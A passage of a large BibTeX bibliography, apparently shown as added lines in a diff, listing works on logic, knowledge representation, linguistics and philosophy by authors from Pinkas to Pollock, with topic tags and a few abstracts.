+ address = {Dordrecht}, + topic = {nl-semantics;semantic-underspecification;ambiguity;} + } + +@incollection{ pinkas-loui:1992a, + author = {Gadi Pinkas and Ronald P. Loui}, + title = {Reasoning about Inconsistency: A Taxonomy of Principles + for Resolving Conflict}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {709--719}, + address = {San Mateo, California}, + topic = {kr;argument-based-defeasible-reasoning; + reasoning-about-consistency;} + } + +@article{ pinkas:1995a, + author = {Gadi Pinkas}, + title = {Reasoning, Nonmonotonicity and Learning in Connectionist + Networks that Capture Propositional Knowledge}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {2}, + pages = {203--247}, + acontentnote = {Abstract: + The paper presents a connectionist framework that is capable of + representing and learning propositional knowledge. An extended + version of propositional calculus is developed and is + demonstrated to be useful for nonmonotonic reasoning, dealing + with conflicting beliefs and for coping with inconsistency + generated by unreliable knowledge sources. Formulas of the + extended calculus are proved to be equivalent in a very strong + sense to symmetric networks (like Hopfield networks and + Boltzmann machines), and efficient algorithms are given for + translating back and forth between the two forms of knowledge + representation. A fast learning procedure is presented that + allows symmetric networks to learn representations of unknown + logic formulas by looking at examples. A connectionist inference + engine is then sketched whose knowledge is either compiled from + a symbolic representation or learned inductively from training + examples. Experiments with large scale randomly generated + formulas suggest that the parallel local search that is executed + by the networks is extremely fast on average. Finally, it is + shown that the extended logic can be used as a high-level + specification language for connectionist networks, into which + several recent symbolic systems may be mapped. The paper + demonstrates how a rigorous bridge can be constructed that ties + together the (sometimes opposing) connectionist and symbolic + approaches. } , + topic = {connectionist-models;nonmonotonic-reasoning;} + } + +@book{ pinker:1984a, + author = {Steven Pinker}, + title = {Language Learnability and Language Development}, + publisher = {Harvard University Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + topic = {L1-acquisition;} + } + +@book{ pinker-mehler:1988a, + editor = {Steven Pinker and Jacques Mehler}, + title = {Connections and Symbols}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + topic = {pscholinguistics;connectionist-modeling;} + } + +@incollection{ pinker:1989a, + author = {Steven Pinker}, + title = {Language Acquisition}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {9}, + pages = {359--399}, + address = {Cambridge, Massachusetts}, + topic = {L1-acquisition;} + } + +@book{ pinker:1989b, + author = {Steven Pinker}, + title = {Learnability and Cognition---The Acquisition of Argument + Structure}, + publisher = {The {MIT} Press}, + year = {1989}, + series = {Learning, Development, and Conceptual Change}, + address = {Cambridge, Massachusetts}, + topic = {argument-structure;L1-acquisition;} + } + +@incollection{ pinker:1990a, + author = {Steven Pinker}, + title = {Language Acquisition}, + booktitle = {Language: An Invitation to Cognitive Science, + Vol. 1.}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {199--241}, + address = {Cambridge, Massachusetts}, + topic = {L1-acquisition;psycholinguistics;} + } + +@book{ pinker:1994a, + author = {Steven Pinker}, + title = {The Language Instinct}, + publisher = {William Morrow and Company}, + year = {1994}, + address = {New York}, + topic = {linguistics-intro;biolinguistics;} + } + +@book{ pinker:1997a, + author = {Steven Pinker}, + title = {How the Mind Works}, + publisher = {W.W. Norton and Company}, + year = {1997}, + address = {New York}, + xref = {Review: dupre:1999a.}, + topic = {cognitive-psychology;} + } + +@book{ pinker:1999a, + author = {Steven Pinker}, + title = {Words and Rules}, + publisher = {Perennial}, + year = {1999}, + address = {Dunmore, Pennsylvania}, + topic = {linguistics-intro;} + } + +@article{ pinoperez-uzcategul:1999a, + author = {Ram\'on Pino-P\'erez and Carlos Uzc\'ategui}, + title = {Jumping to Explanations Versus Jumping to Conclusions}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {111}, + number = {1--2}, + pages = {131--171}, + topic = {abduction;nonmonotonic-reasoning;} + } + +@inproceedings{ pinoperez-uzcategui:2000a, + author = {Ram\'on Pino-P\'erez and Carlos Uzc\'ategui}, + title = {Ordering Explanations and the Structural Rules for + Abduction}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {637--646}, + topic = {abduction;explanation;} + } + +@phdthesis{ pinto:1994a, + author = {Javier A. Pinto}, + title = {Temporal Reasoning in the Situation Calculus}, + school = {Department of Computer Science, University + of Toronto}, + year = {1994}, + type = {Ph.{D}. Dissertation}, + address = {Toronto}, + note = {Also available as Technical Report Number + KRR-TR-94-1.}, + topic = {temporal-reasoning;situation-calculus;} + } + +@incollection{ pinto:1998a, + author = {Javier A. Pinto}, + title = {Concurrent Actions and Interacting Effects}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {292--303}, + address = {San Francisco, California}, + topic = {kr;concurrent-actions;ramification-problem;action-formalisms; + kr-course;} + } + +@incollection{ pinto-martins:2002a, + author = {Helena Sofia Pinto and Jo\~ao P. Martins}, + title = {Evolving Ontologies in Distributed and Dynamic Settings}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {365--374}, + address = {San Francisco, California}, + topic = {kr;computational-ontology;} + } + +@book{ pippinger:1997a, + author = {Nicholas Pippinger}, + title = {Theories of Computability}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + ISBN = {052155380-6}, + xref = {Review: cooper_sb:2001a.}, + topic = {computability;} + } + +@article{ piron:1977a, + author = {C. Piron}, + title = {On the Logic of Quantum Logic}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {481--484}, + topic = {quantum-logic;} + } + +@inproceedings{ pirri-finzi:1999a, + author = {Fiora Pirri and Alberto Finzi}, + title = {A Preliminary Approach to Perception in Theory + of Agents}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {49--56}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;sensing-actions;} + } + +@incollection{ pirri-reiter:2000a, + author = {Fiora Pirri and Raymond Reiter}, + title = {Planning with Natural Actions in the Situation Calculus}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {213--231}, + address = {Dordrecht}, + topic = {logic-in-AI;planning-formalisms; + reasoning-about-continuous-time;reasoning-about-actions;} + } + +@phdthesis{ pitcher:1957a, + author = {George W. Pitcher}, + title = {Illocutionary Acts: An Analysis of Language in Terms of + Human Acts}, + school = {Philosophy Department, Harvard University}, + year = {1957}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {speech-acts;pragmatics;JL-Austin;} + } + +@article{ pitcher:1965a, + author = {George Pitcher}, + title = {Emotion}, + journal = {Mind, New Series}, + year = {1965}, + volume = {74}, + number = {295}, + pages = {326--346}, + topic = {emotion;} + } + +@article{ pitcher:1970a, + author = {George Pitcher}, + title = {`{I}n Intending' and Side Effects}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {19}, + pages = {659--668}, + topic = {intention;} + } + +@incollection{ pitcher:1973a, + author = {George Pitcher}, + title = {Austin: A Personal Memoir}, + booktitle = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + editor = {Isiah Berlin et al.}, + pages = {17--30}, + address = {Oxford}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@article{ pitrat:1977a, + author = {Jacques Pitrat}, + title = {A Chess Combination Program which Uses Plans}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {3}, + pages = {275--321}, + topic = {computer-chess;planning;} + } + +@incollection{ pitrik-nykl:2001a, + author = {Renate Motschnig-Pitrik and Ladislav Nykl}, + title = {The Role and Modeling of Context in a Cognitive Model of + {R}oger's Person-Centred Approach}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {275--289}, + address = {Berlin}, + topic = {context;clinical-psychology;} + } + +@book{ pitts-dybjer:1997a, + editor = {Andrew M. Pitts and Peter Dybjer}, + title = {Semantics and Logics of Computation}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + ISBN = {0521580579 (hardcover)}, + topic = {logic-in-cs;logic-and-computer-science; + semantics-of-programming-languages;} + } + +@phdthesis{ piwek:1998a, + author = {Paul Piwek}, + title = {Logic, Information, and Conversation}, + school = {Eindhoven University of Technology}, + year = {1998}, + type = {Ph.{D}. Dissertation}, + address = {Eindhoven}, + topic = {pragmatics;context;} + } + +@incollection{ piwek-krahmer:2000a, + author = {Paul Piwek and Emiel Krahmer}, + title = {Presuppositions in Context: Constructing Bridges}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {85--106}, + address = {Dordrecht}, + topic = {context;bridging-anaphora;presupposition;} + } + +@incollection{ piwek-vandeemter:2002a, + author = {Paul Piwek and Kees van Deemter}, + title = {Towards Automated Generation of Scripted Dialogue: Some + Time-Honoured Strategies}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {141--148}, + address = {Edinburgh}, + topic = {computational-discourse;nl-generation;} + } + +@article{ piziak:1974a, + author = {Robert Piziak}, + title = {Orthomodular Lattices as Implication Algebras}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {4}, + pages = {413--41}, + topic = {quantum-logic;} + } + +@article{ pizzi:1977a, + author = {Claudio Pizzi}, + title = {Boethius' Thesis and Conditional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {283--302}, + contentnote = {Boethius' thesis is [p-->q] --> -[p-->-p]. The term + is due to Storrs McCall.}, + topic = {conditionals;relevance-logic;} + } + +@article{ pizzi-williamson:1997a, + author = {Claudio Pizzi and Timothy Williamson}, + title = {Strong {B}oethius' Thesis and Consequential Implication}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {569--588}, + topic = {modal-logic;logical-consequence;} + } + +@incollection{ pizzi:1998a, + author = {Claudio Pizzi}, + title = {Iterated Conditionals and Causal Imputation}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {147--162}, + address = {Amsterdam}, + topic = {conditionals;causality;} + } + +@incollection{ pla-etal:2000a, + author = {Ferran Pla and Antonio Molina and Natividad Prieto}, + title = {Improving Chunking by Means of Lexical-Contextual + Information in Statistical Language Models}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {148--150}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;Text-chunking;hidden-Markov-models;} + } + +@article{ plaat-etal:1996a, + author = {Aske Plaat and Jonathan Schaeffer and Wim Pijls and Arie + de Bruin}, + title = {Best-First Fixed-Depth Minimax Algorithms}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {255--293}, + topic = {search;AI-algorithms;} + } + +@article{ plaice:1999a, + author = {John Plaice}, + title = {Review of {\it Algebraic Semantics of Imperative Programs}, + by {J}oseph {A}. {G}oguen and {G}rant {M}alcom}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {420--422}, + xref = {Review of: goguen-malcom:1996a.}, + topic = {imperative-logic;procedural-semantics; + semantics-of-programming-languages;} + } + +@article{ plaisted:1981a, + author = {David A. Plaisted}, + title = {Theorem Proving with Abstraction}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {1}, + pages = {47--108}, + topic = {theorem-proving;abstraction;} + } + +@article{ plaisted:1982a, + author = {David A. Plaisted}, + title = {A Simplified Problem Reduction Format}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {2}, + pages = {227--261}, + acontentnote = {Abstract: + Some new approaches to mechanical theorem proving in the + first-order predicate calculus are presented. These are based on + a natural deduction system which can be used to show that a set + of clauses is inconsistent. This natural deduction system + distinguishes positive from negative literals and treats clauses + having 0, 1, and 2 or more positive literals in three separate + ways. Several such systems are presented. The systems are + complete and relatively simple and allow a goal to be decomposed + into subgoals, and solutions to the subgoals can then be + searched for in the same way. Also, the systems permit a natural + use of semantic information to delete unachievable subgoals. The + goal-subgoal structure of these systems should allow much of the + current artificial intelligence methodology to be applied to + mechanical theorem proving. } , + topic = {theorem-proving;natural-deduction;inconsistency-detection;} + } + +@incollection{ plaisted:1993a, + author = {David A. Plaisted}, + title = {Equational Reasoning and Term Rewriting Systems}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume 1: Deductive + Methodologies}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + publisher = {Oxford University Press}, + pages = {274--367}, + address = {Oxford}, + year = {1993}, + missinginfo = {ed's 1st name}, + topic = {kr;logic-in-AI-survey;kr-course;} +} + +@article{ plantinga:1966a, + author = {Alvin Plantinga}, + title = {Induction and Other Minds}, + journal = {The Review of Metaphysics}, + year = {1966}, + volume = {19}, + number = {3}, + pages = {441--461}, + topic = {philosophy-of-mind;} + } + +@book{ plantinga:1974a, + author = {Alvin Plantinga}, + title = {The Nature of Necessity}, + publisher = {Oxford University Press}, + year = {1974}, + address = {Oxford}, + topic = {modal-logic;metaphysics;foundations-of-modal-logic;} + } + +@book{ platts:1979a, + author = {Mark Platts}, + title = {Ways of Meaning}, + publisher = {Routledge and Kegan Paul, Ltd.}, + year = {1997}, + address = {London}, + edition = {1}, + xref = {Review: boer:1980a.}, + topic = {philosophy-of-language;} + } + +@book{ platts:1997a, + author = {Mark Platts}, + title = {Ways of Meaning}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + edition = {2}, + topic = {philosophy-of-language;} + } + +@incollection{ pliuskeviciene:1998a, + author = {Aida Pliu\v{s}kevi\v{c}ien\'e}, + title = {Cut-Free Indexical Calculi for Modal Logics Containing the + {B}arcan Axiom}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {157--172}, + address = {Stanford, California}, + topic = {modal-logic;proof-theory;} + } + +@inproceedings{ plotkin-sterling:1986a, + author = {Gordon Plotkin and Colin Sterling}, + title = {A Framework for Intuitionistic Modal Logics}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {399--406}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {intuitionistic-logic;modal-logic;} + } + +@incollection{ poesio:1992a, + author = {Massimo Poesio}, + title = {Conversational Events and Discourse State Change: A + Preliminary Report}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {369--379}, + address = {San Mateo, California}, + topic = {speech-acts;} + } + +@unpublished{ poesio:1993a, + author = {Massimo Poesio}, + title = {Inferring the Semantic Scope of Operators}, + year = {1993}, + note = {Unpublished Manuscript, Computer Science Department, + University of Rochester.}, + topic = {nl-interpretation;nl-quantifier-scope;} + } + +@inproceedings{ poesio:1994a, + author = {Massimo Poesio}, + title = {Weak Indefinites}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {282--299}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;definite-descriptions;definiteness;} + } + +@incollection{ poesio:1994b, + author = {Massimo Poesio}, + title = {Definite Descriptions, Focus Shift, and a Theory of + Discourse}, + booktitle = {Focus: Linguistic, Cognitive, and Computational + Perspectives}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + editor = {Rob A. {van der Sandt} and Peter Bosch}, + missinginfo = {pages}, + topic = {focus;definite-descriptions;discourse;} + } + +@incollection{ poesio:1996a, + author = {Massimo Poesio}, + title = {Semantic Ambiguity and Perceived Ambiguity}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + editor = {Kees {van Deemter} and Stanley Peters}, + pages = {159--201}, + topic = {ambiguity;semantic-underspecification;} + } + +@unpublished{ poesio-etal:1996a, + author = {Massimo Poesio and George Ferguson and Peter A. Heeman + and Chung-Hee Hwang and David R. Traum}, + title = {Knowledge Representation in the {TRAINS} System}, + year = {1996}, + note = {Unpublished Manuscript, Computer Science Department, + University of Rochester.}, + xref = {See traum-etal:1996a for more up-to-date version.}, + topic = {nl-interpretation;knowledge-representation;kr-course;} + } + +@article{ poesio-traum:1997a, + author = {Massimo Poesio and David R. Traum}, + title = {Conversational Actions and Discourse Situations}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {3}, + pages = {309--347}, + topic = {discourse;speech-acts;pragmatics;} + } + +@inproceedings{ poesio-traum:1997b, + author = {Massimo Poesio and David Traum}, + title = {Representing Conversation Acts in a Unified + Semantic/Pragmatic Framework}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {67--74}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;discourse;pragmatics;} + } + +@article{ poesio-viera:1998a, + author = {Massimo Poesio and Renata Viera}, + title = {A Corpus-Based Investigation of Definite Description Use}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {183--216}, + topic = {definite-descriptions;corpus-linguistics;} + } + +@incollection{ poesio-etal:1999a, + author = {Massimo Poesio and F. Bruneseaux and Laurent Romary}, + title = {The {MATE} Meta-Scheme for Coreference in Dialogues + in Multiple Languages}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {65--74}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;anaphora;speech-acts;} + } + +@article{ pohl:1970a, + author = {Ira Pohl}, + title = {Heuristic Search Viewed as Path Finding in a Graph}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {3--4}, + pages = {193--204}, + topic = {search;graph-based-reasoning;} + } + +@incollection{ pohlers:1998a, + author = {Wolfram Pohlers}, + title = {Subsystems of Set Theory and Second-Order Number Theory}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {209--335}, + address = {Amsterdam}, + xref = {Review: arai:1998e.}, + topic = {proof-theory;set-theory;formalizations-of-arithmetic;} + } + +@article{ polacik:1998a, + author = {Tomasz Po{\l}acik}, + title = {Propositional Quantification in the Monadic Fragment + of Intuitionistic Logic}, + journal = {Journal of Symbolic Logic}, + year = {1998}, + volume = {63}, + number = {1}, + pages = {269--300}, + topic = {intuitionistic-logic;propositional-quantifiers;} + } + +@unpublished{ polanyi:1987a, + author = {Livia Polanyi}, + title = {Keeping It All Straight: Interpreting Time in + Narrative Discourse}, + year = {1987}, + note = {Unpublished manuscript, BBN Laboratories. } , + topic = {discourse;temporal-reasoning;} + } + +@incollection{ polanyi-berg:1999a, + author = {Livia Polanyi and Martin van den Berg}, + title = {Logical Structure + and Discourse Anaphora Resolution}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {110--117}, + address = {New Brunswick, New Jersey}, + topic = {discourse-structure;reference-resolution;anaphora;} + } + +@incollection{ polanyi-vandenberg:1999a, + author = {Livia Polanyi and Martin van den Berg}, + title = {Logical Structure and Discourse Anaphora Resolution}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {110--117}, + address = {Somerset, New Jersey}, + topic = {anaphora-resolution;discourse-structure;} + } + +@article{ politakis-weiss:1984a, + author = {Peter Politakis and Sholom M. Weiss}, + title = {Using Empirical Analysis to Refine Expert System Knowledge + Bases}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {1}, + pages = {23--48}, + topic = {knowledge-acquisition;expert-systems;} + } + +@incollection{ polk:1996a, + author = {Thad Polk}, + title = {Reasoning Matters: Mental Models and {S}oar}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {401--406}, + topic = {cognitive-architectures;mental-models;SOAR;} + } + +@inproceedings{ pollack-ringuette:1990a, + author = {Martha Pollack and Marc Ringuette}, + title = {Introducing the Tileworld: experimentally evaluating agent + architectures}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {183--189}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {planning;practical-reasoning;experimental-AI;} + } + +@article{ pollack:1992a, + author = {Martha Pollack}, + title = {The Uses of Plans}, + journal = {Artificial Intelligence}, + volume = {57}, + number = {1}, + year = {1992}, + pages = {43--68}, + topic = {planning;intention;practical-reasoning;} + } + +@article{ pollack_jb:1990a, + author = {Jordan B. Pollack}, + title = {Recursive Distributed Representations}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {1--2}, + pages = {77--105}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@article{ pollack_jb:1993a, + author = {Jordan B. Pollack}, + title = {On Wings of Knowledge: A Review of + {A}llen {N}ewell's `Unified Theories of Cognition'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {355--369}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@techreport{ pollack_me-etal:1982a, + author = {Martha E. Pollack and Julia Hirschberg and Bonnie Lynn Webber}, + title = {User Participation in the Reasoning Processes of Expert + Systems}, + institution = {Department of Computer and Information Science, + University of Pennsylvania}, + year = {1982}, + number = {Technical Report MS-CIS-82-10}, + note = {(A short version of this report appears in the Proceedings of the + National Conference on Artificial Intelligence, 1982.)}, + topic = {user-modeling;expert-systems;} +} + +@techreport{ pollack_me:1986a, + author = {Martha Pollack}, + title = {Inferring Domain Plans in Question-Answering}, + institution = {SRI International}, + number = {403}, + year = {1986}, + address = {Menlo Park, California}, + xref = {Also UPenn doctoral Dissertation.}, + topic = {plan-recognition;pragmatics;} + } + +@inproceedings{ pollack_me:1986b1, + author = {Martha Pollack}, + title = {A Model of Plan Inference That Distinguishes Between the + Beliefs of Actors and Observers}, + booktitle = {Proceedings of the 24th Meeting of the Association for + Computational Linguistics}, + year = {1986}, + editor = {Alan W. Biermann}, + pages = {207--215}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Morristown, New Jersey}, + xref = {Reprinted in georgeff-lansky:1986a, see pollack_me:1986a1.}, + topic = {plan-recognition;} + } + +@incollection{ pollack_me:1986b2, + author = {Martha Pollack}, + title = {A Model of Plan Inference That Distinguishes Between the + Beliefs of Actors and Observers}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {279--295}, + address = {Los Altos, California}, + topic = {plan-recognition;nl-processing;pragmatics;} + } + +@inproceedings{ pollack_me:1989a, + author = {Martha Pollack}, + title = {Plan Recognition Beyond {\sc strips}}, + booktitle = {Proceedings of the Second Workshop on Plan Recognition}, + year = {1989}, + missinginfo = {editor, pages, organization, publisher, address}, + topic = {plan-recognition;} + } + +@incollection{ pollack_me:1990a, + author = {Martha Pollack}, + title = {Plans as Complex Mental Attitudes}, + booktitle = {Intentions in Communication}, + publisher = {MIT Press}, + year = {1990}, + editor = {Philip R. Cohen and Jerry Morgan and Martha Pollack}, + pages = {77--103}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-planning;} + } + +@inproceedings{ pollack_me-ringuette:1990a, + author = {Martha Pollack and Marc Ringuette}, + title = {Introducing the {\sc Tileworld}: Experimentally Evaluating + Agent Architectures}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + pages = {183--189}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editor}, + topic = {experimental-planning;limited-rationality;} + } + +@article{ pollack_me:1991a, + author = {Martha Pollack}, + title = {Overloading Intentions for Efficient Practical Reasoning}, + journal = {No\^us}, + volume = {25}, + year = {1991}, + pages = {513--536}, + topic = {intention;practical-reasoning;} + } + +@unpublished{ pollack_me-moore_jd:1992a, + author = {Martha Pollack and Johanna Moore}, + title = {Towards a Process-Based Analysis of Referring + Expressions}, + year = {1992}, + note = {Unpublished manuscript, Computer Science Department, + University of Pittsburgh}, + topic = {discourse;referring-expressions;} + } + +@article{ pollack_me-horty:1999a, + author = {Martha Pollack and John F. Horty}, + title = {There's More to Life than Making Plans}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {4}, + pages = {71--84}, + topic = {execution-monitoring-plan-maintenance;;} + } + +@inproceedings{ pollard-sag:1983a, + author = {Carl Pollard and Ivan Sag}, + title = {Reflexives and Reciprocals in {E}nglish: An Alternative + to the Binding Theory}, + booktitle = {Proceedings, Second {W}est {C}oast {C}onference on {F}ormal + {L}inguistics}, + year = {1983}, + pages = {189--203}, + missinginfo = {publisher, address}, + topic = {reciprical-constructions;} + } + +@inproceedings{ pollard:1986a, + author = {Carl J. Pollard}, + title = {Phrase Structure Grammar without Metarules}, + booktitle = {Proceedings, Fourth {W}est {C}oast {C}onference on {F}ormal + {L}inguistics}, + year = {1986}, + missinginfo = {publisher, address, pages}, + topic = {GPSG;} + } + +@book{ pollard-sag:1987b, + author = {Carl Pollard and Ivan Sag}, + title = {Information-Based Syntax and Semantics}, + publisher = {Center for the Study of Language and Information}, + year = {1987}, + address = {Stanford, California}, + ISBN = {ISBN: Hardcover: 0937073237, Paperback: 0937073245}, + topic = {HPSG;unification-grammars;} + } + +@incollection{ pollard-moshier:1989a, + author = {Carl J. Pollard and M. Drew Moshier}, + title = {Unifying Partial Descriptions of Sets}, + booktitle = {Information, Language and Cognition: Vancouver Studies + in Cognitive Science {I}}, + year = {1989}, + editor = {P. Hanson}, + address = {Vancouver}, + missinginfo = {Pages. Publisher. Ed. 1st name. Date is a guess.}, + topic = {feature-structures;unification;} + } + +@book{ pollard-sag:1994a, + author = {Carl Pollard and Ivan Sag}, + title = {Head-Driven Phrase Structure Grammar}, + publisher = {Chicago University Press}, + year = {1994}, + address = {Chicago, Illinois}, + topic = {HPSG;} + } + +@incollection{ pollatsek-rayner:1989a, + author = {Alexander Pollatsek and Keith Rayner}, + title = {Reading}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + pages = {401--436}, + address = {Cambridge, Massachusetts}, + topic = {reading;} + } + +@book{ pollock:1976a, + author = {John L. Pollock}, + title = {Subjunctive Reasoning}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + address = {Dordrecht}, + topic = {conditionals;} + } + +@article{ pollock:1981a, + author = {John L. Pollock}, + title = {A Refined Theory of Conditionals}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {239--266}, + topic = {conditionals;} + } + +@article{ pollock:1981b, + author = {John L. Pollock}, + title = {Causes, Conditionals, and Times}, + journal = {Pacific Philosophical Quarterly}, + year = {1981}, + volume = {62}, + pages = {340--353}, + missinginfo = {number}, + topic = {conditionals;causality;} + } + +@incollection{ pollock:1984a, + author = {John L. Pollock}, + title = {Nomic Probability}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {177--204}, + address = {Minneapolis}, + topic = {probability;natural-laws;philosophy-of-science;} + } + 